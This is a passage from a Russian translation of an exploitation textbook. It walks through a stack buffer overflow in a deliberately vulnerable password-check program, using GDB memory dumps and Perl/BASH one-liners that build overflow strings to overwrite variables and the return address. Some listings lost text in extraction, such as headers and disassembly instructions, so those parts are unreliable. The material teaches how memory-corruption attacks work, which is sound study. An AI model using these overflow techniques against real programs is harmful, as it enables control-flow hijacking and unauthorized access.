Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
Скачать 2.5 Mb.
|
148(gdb) x/s password_buffer 0xbffff7c0: “?o??\200????????o???G??\020\205\004\ b?????\204\004\b????\020\205\004\ bH???????\002” (gdb) x/x &auth_flag 0xbffff7bc: 0x00000000 (gdb) x/16xw &auth_flag 0xbffff7bc: 0x00000000 0xb7fd6ff4 0xbffff880 0xbffff7e8 0xbffff7cc: 0xb7fd6ff4 0xb7ff47b0 0x08048510 0xbffff7e8 0xbffff7dc: 0x080484bb 0xbffff9b7 0x08048510 0xbffff848 0xbffff7ec: 0xb7eafebc 0x00000002 0xbffff874 0xbffff880 (gdb) Зададим точки останова аналогичным образом и убедимся, что auth_ flag (выделена выше и ниже полужирным) располагается в памяти раньше, чем password_buffer. Это означает, что auth_flag не может быть затерта переполнением буфера password_buffer. (gdb) cont Continuing. Breakpoint 2, check_authentication (password=0xbffff9b7 ‘A’ (gdb) x/s password_buffer 0xbffff7c0: ‘A’ (gdb) x/x &auth_flag 0xbffff7bc: 0x00000000 (gdb) x/16xw &auth_flag 0xbffff7bc: 0x00000000 0x41414141 0x41414141 0x41414141 0xbffff7cc: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff7dc: 0x08004141 0xbffff9b7 0x08048510 0xbffff848 0xbffff7ec: 0xb7eafebc 0x00000002 0xbffff874 0xbffff880 (gdb) Как и ожидалось, переполнение не влияет на переменную auth_flag, потому что она находится перед буфером. Но есть еще одна точка для управления программой, даже если вы не видите ее в коде C. Обыч- но она располагается в стеке после всех переменных, поэтому ее легко изменить. Это неотъемлемая часть памяти при выполнении всех про- 0x320 Переполнение буфера 149 грамм – она есть во всех программах, и если ее затереть, программа скорее всего аварийно завершит работу. (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x08004141 in ?? () (gdb) Вспомним по предыдущей главе, что стек – это один из пяти сегментов памяти, используемых программами. Стек представляет собой струк- туру данных типа FILO и служит для сохранения потока управления и контекста локальных переменных при вызове функций. Когда вызы- вается функция, в стек проталкивается структура под названием кадр стека, а в регистр EIP загружается адрес первой команды вызывае- мой функции. В каждом кадре стека хранятся локальные переменные функции и адрес возврата, чтобы можно было восстановить значение EIP. По завершении работы функции кадр стека выталкивается из сте- ка, а значение EIP восстанавливается с помощью адреса возврата. Все это часть архитектуры и обычно служит предметом забот компилято- ра, а не программиста. Когда вызывается функция check_authentication(), новый кадр стека проталкивается в стек за кадром стека функции main(). В этом кадре располагаются локальные переменные, адрес возврата и аргументы функции (рис. 3.1). Сохраненный указатель кадра (SFP) Адрес возврата (ret) *password (аргумент функции) Kадр стека функции main() Переменная password_buffer Переменная return_value Рис. 3.1. Новый кадр в стеке Все эти элементы можно увидеть с помощью отладчика. reader@hacking:/booksrc $ gcc -g auth_overflow2.c reader@hacking:/booksrc $ gdb -q ./a.out Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”. 150 0x300 Эксплойты (gdb) list 1 1 #include 2 #include 3 #include 4 5 int check_authentication(char *password) { 6 char password_buffer[16]; 7 int auth_flag = 0; 8 9 strcpy(password_buffer, password); 10 (gdb) 11 if(strcmp(password_buffer, “brillig”) == 0) 12 auth_flag = 1; 13 if(strcmp(password_buffer, “outgrabe”) == 0) 14 auth_flag = 1; 15 16 return auth_flag; 17 } 18 19 int main(int argc, char *argv[]) { 20 if(argc < 2) { (gdb) 21 printf(“Usage: %s \n”, argv[0]); 22 exit(0); 23 } 24 if(check_authentication(argv[1])) { 25 printf(“\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n”); 26 printf(“ Access Granted.\n”); 27 printf(“-=-=-=-=-=-=-=-=-=-=-=-=-=-\n”); 28 } else { 29 printf(“\nAccess Denied.\n”); 30 } (gdb) break 24 Breakpoint 1 at 0x80484ab: file auth_overflow2.c, line 24. (gdb) break 9 Breakpoint 2 at 0x8048421: file auth_overflow2.c, line 9. (gdb) break 16 Breakpoint 3 at 0x804846f: file auth_overflow2.c, line 16. (gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Starting program: /home/reader/booksrc/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, main (argc=2, argv=0xbffff874) at auth_overflow2.c:24 24 if(check_authentication(argv[1])) { (gdb) i r esp esp 0xbffff7e0 0xbffff7e0 (gdb) x/32xw $esp 0xbffff7e0: 0xb8000ce0 0x08048510 0xbffff848 0xb7eafebc 0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898 0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000 0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848 0x320 Переполнение буфера 151 0xbffff820: 0x40f5f7f0 0x48e0fe81 0x00000000 0x00000000 0xbffff830: 0x00000000 0xb7ff9300 0xb7eafded 0xb8000ff4 0xbffff840: 0x00000002 0x08048350 0x00000000 0x08048371 0xbffff850: 0x08048474 0x00000002 0xbffff874 0x08048510 (gdb) Первая точка останова располагается прямо перед обращением к check_ authentication() в функции main(). Здесь регистр указателя стека (ESP) содержит 0xbffff7e0, и мы видим вершину стека. Все это входит в кадр стека main(). Продолжив выполнение до следующей точки останова внутри check_authentication(), мы увидим, что ESP уменьшился, так как он переместился вверх по памяти, чтобы выделить место для кадра стека check_authentication() (выделен полужирным), который теперь находится в стеке. Выяснив адреса переменной auth_flag 1 и перемен- ной password_buffer 2, можно посмотреть их содержимое в кадре стека. (gdb) c Continuing. Breakpoint 2, check_authentication (password=0xbffff9b7 ‘A’ (gdb) i r esp esp 0xbffff7a0 0xbffff7a0 (gdb) x/32xw $esp 0xbffff7a0: 0x00000000 0x08049744 0xbffff7b8 0x080482d9 0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 1 0x00000000 0xbffff7c0: 2 0xb7fd6ff4 0xbffff880 0xbffff7e8 0xb7fd6ff4 0xbffff7d0: 0xb7ff47b0 0x08048510 0xbffff7e8 0x080484bb 0xbffff7e0: 0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc 0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898 0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000 0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848 (gdb) p 0xbffff7e0 - 0xbffff7a0 $1 = 64 (gdb) x/s password_buffer 0xbffff7c0: “?o??\200????????o???G??\020\205\004\ b?????\204\004\b????\020\205\004\ bH???????\002” (gdb) x/x &auth_flag 0xbffff7bc: 0x00000000 (gdb) Продолжив работу до второй точки останова внутри check_authentica- tion() , видим, что кадр стека (выделен полужирным) проталкивается в стек при вызове этой функции. Поскольку стек наращивается вверх по направлению к младшим адресам памяти, указатель стека теперь уменьшился на 64 байта и равен 0xbffff7a0. Размер и структура сте- ка могут сильно различаться в зависимости от функции и некоторых оптимизаций компилятора. Например, первые 24 байта этого кадра стека представляют собой просто заполнение, вставленное компилято- 152 0x300 Эксплойты ром. Локальные переменные стека auth_flag и password_buffer видны в кадре стека по соответствующим адресам. Переменная auth_flag 1 находится по адресу 0xbffff7bc, а 16 байт буфера памяти 2 расположе- ны по адресу 0xbffff7c0. Кадр стека состоит не из одних лишь локальных переменных и запол- нения. Ниже показаны элементы кадра стека check_authentication(). Сначала идет память, отведенная локальным переменным (выделена курсивом). Она начинается с переменной auth_flag по адресу 0xbffff- 7bc и продолжается до конца 16-байтной переменной password_buffer. Следующие несколько значений в стеке – это заполнение, вставленное компилятором, а также нечто под названием сохраненный указатель кадра. Если для оптимизации компилировать программу с флагом -fomit-frame-pointer , то в кадре стека не будет указателя на кадр. В 3 находится 0x080484bb – адрес возврата для этого кадра стека, а в 4 – 0xbffffe9b7 – указатель на строку, в которой записано 30 символов A. Это аргумент, с которым вызвана функция check_authentication(). (gdb) x/32xw $esp 0xbffff7a0: 0x00000000 0x08049744 0xbffff7b8 0x080482d9 0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 0x00000000 0xbffff7c0: 0xb7fd6ff4 0xbffff880 0xbffff7e8 0xb7fd6ff4 0xbffff7d0: 0xb7ff47b0 0x08048510 0xbffff7e8 3 0x080484bb 0xbffff7e0: 4 0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc 0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898 0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000 0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848 (gdb) x/32xb 0xbffff9b7 0xbffff9b7: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff9bf: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff9c7: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff9cf: 0x41 0x41 0x41 0x41 0x41 0x41 0x00 0x53 (gdb) x/s 0xbffff9b7 0xbffff9b7: ‘A’ (gdb) Адрес возврата в кадре стека можно найти, если понимать, как форми- руется кадр стека. Это процесс начинается в функции main() еще до вы- зова функции. (gdb) disass main Dump of assembler code for function main: 0x08048474 0x08048475 0x08048477 0x08048484 0x0804848a 0x320 Переполнение буфера 153 0x0804848d 0x0804848f 0x08048493 0x0804849f 0x080484ab 0x080484ae 0x080484b3 0x080484b6 0x080484bb 0x080484bd 0x080484bf 0x080484c6 0x080484cb 0x080484d7 0x080484e3 0x080484e5 0x080484ec 0x080484f1 0x080484f2 End of assembler dump. (gdb) Обратите внимание на две строки, выделенные полужирным. В этом месте регистр EAX содержит указатель на первый аргумент командной строки. Это также аргумент check_authentication(). Первая из двух ко- манд ассемблера записывает в EAX адрес, на который указывает ESP (вершина стека). С него начинается кадр стека для check_authentica- tion() с аргументом функции. Вторая команда является фактическим вызовом. Она помещает в стек адрес следующей команды и записывает в регистр указателя команды (EIP) адрес начала функции check_authen- tication() . Адрес, проталкиваемый в стек, это адрес возврата для кадра стека. В данном случае адрес следующей команды 0x080484bb, он и бу- дет адресом возврата. (gdb) disass check_authentication Dump of assembler code for function check_authentication: 0x08048414 0x08048415 0x08048417 ... 0x08048472 0x08048473 End of assembler dump. (gdb) p 0x38 154 0x300 Эксплойты $3 = 56 (gdb) p 0x38 + 4 + 4 $4 = 64 (gdb) После изменения EIP выполнение продолжается в функции check_au- thentication() , и первые несколько команд (выше выделены полужир- ным) завершают выделение памяти для кадра стека. Они называются прологом функции. Первые две команды касаются сохраненного указа- теля кадра, а третья вычитает 0x38 из значения ESP. Так для локаль- ных переменных функции выделяется 56 байт. Адрес возврата и со- храненный указатель кадра уже находятся в стеке, чем и объясняются дополнительные 8 байт 64-байтного кадра стека. По завершении работы функции команды leave и ret удаляют кадр стека и записывают в регистр указателя команды (EIP) хранившийся в стеке адрес возврата 1. В результате выполнение программы пере- ходит к следующей команде в main() после вызова функции по адре- су 0x080484bb. Такая процедура осуществляется при вызове функции в любой программе. (gdb) x/32xw $esp 0xbffff7a0: 0x00000000 0x08049744 0xbffff7b8 0x080482d9 0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 0x00000000 0xbffff7c0: 0xb7fd6ff4 0xbffff880 0xbffff7e8 0xb7fd6ff4 0xbffff7d0: 0xb7ff47b0 0x08048510 0xbffff7e8 1 0x080484bb 0xbffff7e0: 0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc 0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898 0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000 0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848 (gdb) cont Continuing. Breakpoint 3, check_authentication (password=0xbffff9b7 ‘A’ at auth_overflow2.c:16 16 return auth_flag; (gdb) x/32xw $esp 0xbffff7a0: 0xbffff7c0 0x080485dc 0xbffff7b8 0x080482d9 0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 0x00000000 0xbffff7c0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff7d0: 0x41414141 0x41414141 0x41414141 2 0x08004141 0xbffff7e0: 0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc 0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898 0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000 0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848 (gdb) cont Continuing. Program received signal SIGSEGV, Segmentation fault. 0x08004141 in ?? () (gdb) 0x330 Эксперименты с BASH 155 Если какие-то байты сохраненного адреса возврата окажутся измене- ны 2 , программа попытается использовать это новое значение, чтобы восстановить регистр указателя команд (EIP). Обычно при этом про- исходит аварийное завершение, поскольку осуществляется переход по случайному адресу. Но его значение не всегда случайно. Управляя этим значением, можно задать переход по некоторому конкретному адресу. Но куда бы нам хотелось перенаправить выполнение? 0x330 Эксперименты с BASH Поскольку хакинг в значительной мере состоит из эксплойтов и экс- периментов, очень важно иметь возможность быстро опробовать те или иные вещи. Оболочка BASH и Perl есть на большинстве машин, они предоставляют все необходимое для проведения опытов с экс- плойтами. Perl – интерпретируемый язык программирования, команда print ко- торого очень удобна для создания длинных последовательностей сим- волов. Perl позволяет организовать выполнение инструкций в команд- ной строке с помощью ключа -e: reader@hacking:/booksrc $ perl -e ‘print “A” x 20;’ AAAAAAAAAAAAAAAAAAAA Эта команда указывает Perl, что надо выполнить команды, заключен- ные в одинарные кавычки, в данном случае единственную команду ‘print “A” x 20;’ . Эта команда 20 раз выводит символ A. Любой символ, в том числе неотображаемый, можно напечатать с по- мощью комбинации \x##, где ## – шестнадцатеричный код символа. В следующем примере этот способ применяется для вывода символа A (его шестнадцатеричный код 0x41). reader@hacking:/booksrc $ perl -e ‘print “\x41” x 20;’ AAAAAAAAAAAAAAAAAAAA Кроме того, Perl выполняет конкатенацию строк с помощью символа точки (.). Это удобно для записи нескольких адресов в одну строку. reader@hacking:/booksrc $ perl -e ‘print “A”x20 . “BCD” . “\x61\x66\x67\x69”x2 . “Z”;’ AAAAAAAAAAAAAAAAAAAABCDafgiafgiZ Команду оболочки можно выполнять как функцию, возвращая ее ре- зультат по месту. Для этого нужно заключить команду в круглые скоб- ки и поместить перед ними символ доллара. Вот два примера: reader@hacking:/booksrc $ $(perl -e ‘print “uname”;’) Linux reader@hacking:/booksrc $ una$(perl -e ‘print “m”;’)e Linux reader@hacking:/booksrc $ 156 0x300 Эксплойты В обоих случаях команду заменяют данные, выводимые заключенной в скобки командой, и выполняется команда uname. Такого же эффек- та подстановки команды можно достичь с помощью обратной кавычки ( ` , символ выглядит как наклоненная одинарная кавычка и находит- ся на одной клавише с тильдой). Можно пользоваться тем синтакси- сом, который кажется вам более естественным, хотя обычно легче чи- тается синтаксис с круглыми скобками. reader@hacking:/booksrc $ u`perl -e ‘print “na”;’`me Linux reader@hacking:/booksrc $ u$(perl -e ‘print “na”;’)me Linux reader@hacking:/booksrc $ С помощью подстановки команд и Perl можно быстро создавать пере- полнение буфера. Такой прием позволяет легко протестировать про- грамму overflow_example.c с буферами разного размера. reader@hacking:/booksrc $ ./overflow_example $(perl -e ‘print “A”x30’) [BEFORE] buffer_two is at 0xbffff7e0 and contains ‘two’ [BEFORE] buffer_one is at 0xbffff7e8 and contains ‘one’ [BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005) [STRCPY] copying 30 bytes into buffer_two [AFTER] buffer_two is at 0xbffff7e0 and contains ‘AAAAAAAAAAAAAAAAAAAAAAAAA AAAAA’ [AFTER] buffer_one is at 0xbffff7e8 and contains ‘AAAAAAAAAAAAAAAAAAAAAA’ [AFTER] value is at 0xbffff7f4 and is 1094795585 (0x41414141) Segmentation fault (core dumped) reader@hacking:/booksrc $ gdb -q (gdb) print 0xbffff7f4 - 0xbffff7e0 $1 = 20 (gdb) quit reader@hacking:/booksrc $ ./overflow_example $(perl -e ‘print “A”x20 . “ABCD”’) [BEFORE] buffer_two is at 0xbffff7e0 and contains ‘two’ [BEFORE] buffer_one is at 0xbffff7e8 and contains ‘one’ [BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005) [STRCPY] copying 24 bytes into buffer_two [AFTER] buffer_two is at 0xbffff7e0 and contains ‘AAAAAAAAAAAAAAAAAAAAABCD’ [AFTER] buffer_one is at 0xbffff7e8 and contains ‘AAAAAAAAAAAAABCD’ [AFTER] value is at 0xbffff7f4 and is 1145258561 (0x44434241) reader@hacking:/booksrc $ В этом выводе GDB использован как шестнадцатеричный калькулятор для получения расстояния между buffer_two (0xbfffff7e0) и переменной value (0xbffff7f4 ), которое оказывается равным 20 байтам. Зная это рас- стояние, можно записать в переменную value точное значение 0x44434241, |